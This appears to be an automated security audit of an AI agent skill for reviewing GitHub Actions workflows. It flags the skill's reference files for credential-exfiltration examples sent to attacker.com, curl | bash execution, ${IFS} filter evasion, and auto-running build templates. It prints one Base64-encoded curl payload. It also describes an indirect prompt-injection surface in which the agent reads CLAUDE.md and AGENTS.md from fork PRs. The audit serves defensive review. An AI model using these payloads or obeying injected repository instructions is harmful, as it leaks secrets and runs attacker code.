gha-security-review
Fail
Audited by Gen Agent Trust Hub on Nov 2, 2026
Risk Level: CRITICALDATA_EXFILTRATIONREMOTE_CODE_EXECUTIONOBFUSCATIONINDIRECT_PROMPT_INJECTIONDYNAMIC_EXECUTION
Full Analysis
- [DATA_EXFILTRATION]: The skill's reference documentation contains executable shell command patterns designed to exfiltrate sensitive environment variables and credentials to rogue external domains.\n
- Evidence in
references/ai-prompt-injection-via-ci.mdshows a payload targeting theANTHROPIC_API_KEYviacurltoattacker.com.\n - Evidence in
references/credential-escalation.mdandreferences/pwn-request.mddemonstrates exfiltration ofGITHUB_TOKENtoattacker.com.\n - Evidence in
references/runner-infrastructure.mdincludes examples for accessing cloud metadata services (169.254.169.254) and exfiltrating secret files.\n- [REMOTE_CODE_EXECUTION]: The knowledge base provides specific patterns for achieving remote code execution via CI/CD workflows.\n references/supply-chain.mdandreferences/real-world-attacks.mddocument techniques for executing untrusted payloads usingcurl | bashpatterns.\n- [OBFUSCATION]: Several reference files use Base64 encoding and shell metacharacter tricks to hide malicious command execution.\nreferences/expression-injection.mdcontains a Base64-encoded payloadY3VybCAtc1NmTCBhdHRhY2tlci5jb20vc3RlYWw=which decodes to a maliciouscurlcommand.\n- Shell metacharacters like
${IFS}are documented in multiple attack scenarios to bypass simple string filtering.\n- [INDIRECT_PROMPT_INJECTION]: The skill is designed to ingest and analyze untrusted data from GitHub pull requests (workflows, project instructions), creating a vulnerability surface for indirect prompt injection against the agent.\n - Ingestion points: The skill explicitly reads
.github/workflows/*.yml,CLAUDE.md, andAGENTS.mdfrom potentially adversarial fork PRs.\n - Boundary markers: No delimiters or explicit warnings for the agent to ignore instructions embedded in these files are present.\n
- Capability inventory: The skill grants the agent broad read access to the codebase and tasks it with tracing attack paths, increasing the risk of executing injected instructions.\n
- Sanitization: There is no evidence of sanitization or validation of the external content before processing.\n- [DYNAMIC_EXECUTION]: Documentation includes templates for runtime code generation and process injection.\n
references/pwn-request.mdprovides templates for Goinit()functions and Pythonsetup.pyclasses designed to execute code automatically when files are loaded or built.
Recommendations
- CRITICAL: 5 file(s) identified as malware by FileRep - DO NOT USE
- AI detected serious security threats
- Contains 3 malicious URL(s) - DO NOT USE
Audit Metadata